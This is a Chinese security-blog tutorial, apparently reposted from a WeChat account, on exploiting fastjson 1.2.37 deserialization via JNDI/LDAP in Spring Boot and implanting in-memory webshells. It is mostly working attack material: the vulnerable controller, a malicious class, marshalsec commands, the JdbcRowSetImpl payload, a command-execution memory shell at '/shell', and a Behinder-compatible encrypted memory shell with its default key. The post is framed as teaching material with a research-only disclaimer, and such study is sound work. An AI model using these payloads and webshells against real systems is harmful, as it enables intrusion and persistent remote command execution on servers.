fastjson jndi 注入Behinder内存马

admin 2025年3月16日22:26:38评论7 views字数 8642阅读28分48秒阅读模式

最近有学员来问  fastjson 能弹计算器 注入Behinder内存马有问题

fastjson jndi 注入Behinder内存马

环境

jdk8.121

springboot 2.3.12.RELEASE

fastjson  1.2.37

使用idea创建一个springboot 在pom.xml 添加以上依赖

<dependency>  <groupId>com.alibaba</groupId>  <artifactId>fastjson</artifactId>  <version>1.2.37</version></dependency>

漏洞代码

package com.example.controller;import com.alibaba.fastjson.JSON;import org.springframework.web.bind.annotation.RequestBody;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RestController;@RestControllerpublic class IndexController {    @RequestMapping("/")    public String index(@RequestBody String jsonData) {        try {            // ❌ 直接解析 JSON,存在反序列化漏洞            Object obj = JSON.parseObject(jsonData);            return "解析成功:" + obj.toString();        } catch (Exception e) {            return "解析失败:" + e.getMessage();        }    }}

恶意类

import java.io.IOException;public class Exploit {    publicExploit() {    }    static {        try {            Runtime.getRuntime().exec("calc.exe");        } catch (IOException e) {            e.printStackTrace();        }    }}

编译后 放在web服务上被jndi ldap服务加载

python -m http.server 81

使用 marshalsec-0.0.3-SNAPSHOT-all jndi ldap加载恶意类

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:81/#Exploit 1389

利用payload

{    "a":{        "@type":"java.lang.Class",        "val":"com.sun.rowset.JdbcRowSetImpl"    },    "b":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"ldap://127.0.0.1:1389/Exploit",        "autoCommit":true    }}

成功弹计算器

fastjson jndi 注入Behinder内存马

从网上找来了一个内存马 执行系统命令

import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.PrintWriter;import java.lang.reflect.Field;import java.lang.reflect.Method;public class InjectToController2 extends AbstractTranslet {    public InjectToController2() {        try {            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT"0);            RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);            Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");            configField.setAccessible(true);            RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);            Method method2 = InjectToController2.class.getMethod("test");            RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();            RequestMappingInfo info = RequestMappingInfo.paths("/shell").options(config).build();            InjectToController2 springControllerMemShell = new InjectToController2("aaa");            mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);        } catch (Exception e) {        }    }    public InjectToController2(String aaa) {    }    public void test() throws IOException {        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();        try {            String arg0 = request.getParameter("cmd");            PrintWriter writer = response.getWriter();            if (arg0 != null) {                String o = "";                ProcessBuilder p;                if (System.getProperty("os.name").toLowerCase().contains("win")) {                    p = new ProcessBuilder(new String[]{"cmd.exe""/c", arg0});                } else {                    p = new ProcessBuilder(new String[]{"/bin/sh""-c", arg0});                }                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\A");                o = c.hasNext() ? c.next() : o;                c.close();                writer.write(o);                writer.flush();                writer.close();            } else {                response.sendError(404);            }        } catch (Exception e) {        }    }    @Override    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {    }    @Override    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {    }}

成功注入内存马

fastjson jndi 注入Behinder内存马

修改一下变成Behinder内存马

import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import javax.servlet.http.HttpSession;import java.io.IOException;import java.io.PrintWriter;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;public class InjectToController extends AbstractTranslet {    public InjectToController() {        try {            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT"0);            RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);            Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");            configField.setAccessible(true);            RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);            Method method2 = InjectToController.class.getMethod("test");            RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();            RequestMappingInfo info = RequestMappingInfo.paths("/memshell").options(config).build();            InjectToController springControllerMemShell = new InjectToController("aaa");            mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);        } catch (Exception e) {        }    }    public InjectToController(String aaa) {    }    public void test() throws Exception {        // 获取request和response对象        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();        HttpSession session=request.getSession();        //exec        try {            class U extends ClassLoader {                U(ClassLoader c)                {                    super(c);                }                public Class g(byte []b)                {                    return super.defineClass(b,0,b.length);                }            }            String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/            session.putValue("u",k);            Cipher c=Cipher.getInstance("AES");            c.init(2,new SecretKeySpec(k.getBytes(),"AES"));            Map<String,Object> obj=new HashMap<>();            obj.put("session",session);            obj.put("response",response);            obj.put("request",request);            new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(obj);        }catch (Exception e){}    }    @Override    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {    }    @Override    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {    }}

接着进行测试 没有问题

fastjson jndi 注入Behinder内存马

内存马 springboot 2.3 或 2.6 都支持

参考文章 http://www.bmth666.cn/2022/09/27/Spring%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/index.html

 

原文始发于微信公众号(moonsec):fastjson jndi 注入Behinder内存马

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月16日22:26:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   fastjson jndi 注入Behinder内存马https://cn-sec.com/archives/3838546.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息